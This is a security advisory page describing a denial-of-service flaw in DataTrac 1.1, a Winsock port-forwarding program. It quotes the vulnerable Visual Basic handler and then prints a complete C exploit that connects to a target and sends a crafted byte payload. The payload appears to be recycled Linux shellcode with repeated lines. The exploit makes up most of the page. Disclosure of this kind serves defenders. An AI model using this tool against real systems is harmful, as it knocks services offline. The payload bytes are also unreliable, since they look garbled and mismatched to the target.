|
Brought to you by:
Suppliers of:
|
|
|
| |
DataTrac is "an application that uses the Winsock component to bind a port from one machine to another, according to your specifications".
The lack of parameter validation in DataTrac allows attackers to cause a denial of service in DataTrac that will cause the program to hang. |
| |
Credit:
The information has been provided by Eric Basher.
|
| |
Vulnerable Systems:
* DataTrac version 1.1
The program provides the functionality of forwarding a particular port's TCP traffic from one computer to another with 2 separate Winsock objects. The program also provides functionality to monitor and record all data passed through, and automatically reconfigure itself for another connection attempt when one has closed. All data is logged with the source IP.
A denial of service occurs when a very long text string is sent to the service data application. By sending a specially crafted request to the program it is possible to cause the program to crash.
Proof of Concept:
'Source code Form1.frm
Private Sub rsource_DataArrival(ByVal bytesTotal As Long)
rsource.GetData outdatabuffer
rdest.SendData outdatabuffer ' vulnerable string
text4.Text = text4.Text & outdatabuffer
outdatabuffer = ""
End Sub
When connect try to send GET request ,the source debug code will show display:
'Run-time error '40006';
Wrong protocol or connection state for the requested transaction or request
The out data-buffer is doesn't have a response to handle from incoming request. This cause the program to stop responding/shutting-down.
Exploit:
/*
DataTrac Activity Console DoS Exploit
----------------------------------------
INFGP - Hacking&security Research
Resolve host... [OK]
[+] Connecting... [OK]
Target locked
Sending bad procedure... [OK]
[+] Server DoS'ed
Greats: Infam0us Gr0up,Yudha(mephisthopeles),Kavling Community,
1st Indonesian Security,Jasakom,ECHO,etc..betst reagrds t0 whell.
Info: 98.to/infamous
*/
#include <string.h>
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
char doscore[] =
"\xeb\x6e\x5e\x29\xc0\x89\x46\x10"
"\x40\x89\xc3\x89\x46\x0c\x40\x89"
"\x46\x08\x8d\x4e\x08\xb0\x66\xcd"
"\x40\x89\xc3\x89\x46\x0c\x40\x89"
"\x46\x08\x8d\x4e\x08\xb0\x66\xcd"
"\x80\x43\xc6\x46\x10\x10\x88\x46"
"\x08\x31\xc0\x31\xd2\x89\x46\x18"
"\xb0\x90\x66\x89\x46\x16\x8d\x4e"
"\x14\x89\x4e\x0c\x8d\x4e\x08\xb0"
"\x66\xcd\x80\x89\x5e\x0c\x43\x43"
"\xb0\x66\xcd\x80\x89\x56\x0c\x89"
"\x08\x31\xc0\x31\xd2\x89\x46\x18"
"\xb0\x90\x66\x89\x46\x16\x8d\x4e"
"\x14\x89\x4e\x0c\x8d\x4e\x08\xb0"
"\x56\x10\xb0\x66\x43\xcd\x80\x86"
"\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0"
"\x14\x89\x4e\x0c\x8d\x4e\x08\xb0"
"\x66\xcd\x80\x89\x5e\x0c\x43\x43"
"\xb0\x66\xcd\x80\x89\x56\x0c\x89"
"\x56\x10\xb0\x66\x43\xcd\x80\x86"
"\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0"
"\x3f\x41\xcd\x80\xb0\x3f\x41\xcd"
"\x80\x88\x56\x07\x89\x76\x0c\x87"
"\xf3\x8d\x4b\x0c\xb0\x0b\xcd\x80"
"\xe8\x8d\xff\xff";
int main(int argc, char *argv[])
{
WSADATA wsaData;
WORD wVersionRequested;
struct hostent *pTarget;
struct sockaddr_in sock;
char *target;
int port,bufsize;
SOCKET inetdos;
if (argc < 2)
{
printf(" DataTrac Activity Console DoS Exploit \n", argv[0]);
printf(" ------------------------------------------\n", argv[0]);
printf(" INFGP - Hacking&Security Research\n\n", argv[0]);
printf("[-]Usage: %s [target] [source port]\n", argv[0]);
printf("[?]Exam: %s localhost 13\n", argv[0]);
exit(1);
}
wVersionRequested = MAKEWORD(1, 1);
if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;
target = argv[1];
port = 80;
if (argc >= 3) port = atoi(argv[2]);
bufsize = 1024;
if (argc >= 4) bufsize = atoi(argv[3]);
inetdos = socket(AF_INET, SOCK_STREAM, 0);
if(inetdos==INVALID_SOCKET)
{
printf("Socket ERROR \n");
exit(1);
}
printf(" DataTrac Activity Console DoS Exploit \n", argv[0]);
printf(" ------------------------------------------\r\n\n", argv[0]);
printf("Resolve host... ");
if ((pTarget = gethostbyname(target)) == NULL)
{
printf("FAILED \n", argv[0]);
exit(1);
}
printf("[OK]\n ");
memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
sock.sin_family = AF_INET;
sock.sin_port = htons((USHORT)port);
printf("[+] Connecting... ");
if ( (connect(inetdos, (struct sockaddr *)&sock, sizeof (sock) )))
{
printf("FAILED\n");
exit(1);
}
printf("[OK]\n");
printf("Target locked\n");
printf("Sending bad procedure... ");
if (send(inetdos, doscore, sizeof(doscore)-1, 0) == -1)
{
printf("ERROR\n");
closesocket(inetdos);
exit(1);
}
printf("[OK]\n ");
printf("[+] Server DoS'ed\n");
closesocket(inetdos);
WSACleanup();
return 0;
}
|
|
|
|
|